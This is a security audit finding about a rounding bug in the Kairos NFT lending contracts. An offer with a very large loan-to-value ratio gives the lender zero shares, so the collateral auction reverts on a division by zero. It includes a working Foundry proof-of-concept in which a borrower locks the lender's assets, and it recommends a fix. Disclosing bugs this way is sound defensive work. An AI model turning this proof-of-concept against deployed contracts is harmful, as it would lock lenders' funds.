jekapi

medium

# Borrower can lock lender assets if offer has large LTV

## Summary
Offers with large LTV can lead to borrower lending a zero share of the NFT due to rounding. This will mean that when this NFT is auctioned, its price can't be calculated and the lender (or any other user) can't buy the NFT which also blocks all claims assuming the loan is not repaid.

## Vulnerability Detail
When a borrower uses an offer, the number of shares of the NFT the lender is entitled to is calculated in the following manner:

https://github.com/sherlock-audit/2023-02-kairos/blob/main/kairos-contracts/src/BorrowLogic/BorrowHandlers.sol#L47
```solidity
shareMatched = arg.amount.div(arg.offer.loanToValue);
```

The result is represented using `RayMath` which has 27 decimals of precision (i.e. `RAY` is defined as `1e27`: 

https://github.com/sherlock-audit/2023-02-kairos/blob/main/kairos-contracts/src/utils/RayMath.sol#L62-L64
```solidity
function div(uint256 a, uint256 b) internal pure returns (Ray) {
    return Ray.wrap((a * RAY) / b);
}
```

The number of shares will be rounded down to zero if the LTV is larger than the amount borrowed times `1e27`. Note that this is further limited by the configured amount lower bound as described here: https://github.com/sherlock-audit/2023-02-kairos/blob/main/kairos-contracts/src/BorrowLogic/BorrowCheckers.sol#L31-L39

This rounding bug can result in the loan being locked in the following sense: No one can buy the NFT given as collateral in an auction because price estimation of the NFT divides by the number of shares: 

https://github.com/sherlock-audit/2023-02-kairos/blob/main/kairos-contracts/src/AuctionFacet.sol#L50
```solidity
uint256 estimatedValue = loan.lent.mul(ONE.div(loan.shareLent));
```

This would revert when the number of shares is zero. Additionally, `loan.payment.liquidated` will remain false so if until the borrower repays the loan no claim can be made as seen here: https://github.com/sherlock-audit/2023-02-kairos/blob/main/kairos-contracts/src/ClaimFacet.sol#L42-L49

## Impact
Very large LTV offers are not particularly likely but can happen if a lender uses a token with large number of decimals or allows a large LTV but uses approvals to manage assets available for borrowing. The bug described above can lead to the borrower taking a loan but locking the NFT in the contract (by disabling auctions) until he decides to repay if he does at all.[^1] Meaning, assets belonging to the lender (either the amount borrowed or the collateral) are locked and controlled by the borrower.

Notice that the borrower is not limited to very small loan because a single offer can be re-used multiple times. If each time it is used zero shares are "sold", the borrower could theoretically borrow the full amount of the LTV. This is unlikely to happen in practice because of large gas costs. An example of this can be seen in the POC below where the offer is used `_multiplier` times but the total number of shares remains zero.

## Code Snippet
https://github.com/sherlock-audit/2023-02-kairos/blob/main/kairos-contracts/src/BorrowLogic/BorrowHandlers.sol#L47
https://github.com/sherlock-audit/2023-02-kairos/blob/main/kairos-contracts/src/utils/RayMath.sol#L63
https://github.com/sherlock-audit/2023-02-kairos/blob/main/kairos-contracts/src/AuctionFacet.sol#L50

## PoC
Consider the following test case which serves as an example of a borrower exploiting an offer with large LTV.
```solidity
function testAuctionForLargeLTV() public {
    (, uint256 lowerBound) = kairos.getMinOfferCostAndBorrowableAmount(money);
    uint256 LARGE_LTV = 1e40;
    uint256 AMOUNT = (LARGE_LTV/1e27-1) > lowerBound ? (LARGE_LTV/1e27-1) : (lowerBound+1);
    assertLt(AMOUNT * 1e27, LARGE_LTV); // Make sure borrowing will result in 0 shares.

    getFlooz(signer, money, LARGE_LTV);
    Offer memory _offer = Offer({
            assetToLend: money,
            loanToValue: LARGE_LTV,
            duration: 2 weeks,
            expirationDate: block.timestamp + 2 hours,
            tranche: 0,
            collateral: getNft()
    });
    uint256 _multiplier = 100;
    OfferArg[] memory _offerArgs = new OfferArg[](_multiplier);
    for (uint256 i = 0; i < _multiplier; i++) {
        _offerArgs[i] = OfferArg({signature: getSignature(_offer), amount: AMOUNT, offer: _offer}); // Re-use same offer.
    }
    uint256 tokenId = nft.mintOneTo(BORROWER);
    vm.prank(BORROWER);
    nft.safeTransferFrom(BORROWER, address(kairos), tokenId, abi.encode(_offerArgs));

    skip(2 weeks); // Skip far enough into the future for the auction.
    assertEq(money.balanceOf(BORROWER), _multiplier * AMOUNT); // Assets under borrower control.

    BuyArg[] memory _buyArgs = new BuyArg[](1);
    _buyArgs[0].loanId = 1;
    _buyArgs[0].to = signer;
    vm.prank(signer);
    vm.expectRevert();
    kairos.buy(_buyArgs); // NFT can't be auctioned due to division by zero.
}
```
Note: In my test I have added this test case to `AuctionExternal.t.sol` but also had to import missing definitions (such as `Offer` and `OfferArg`).

## Tool used
Manual Review, Foundry

## Recommendation
Add a check in the function `useOffer` (after calculating the number of shares) that `shareMatched > 0` and revert otherwise.

[^1]: There is another bug which does allow the borrower to repay the loan after end date (during the auction) if he chooses to do so. See #2.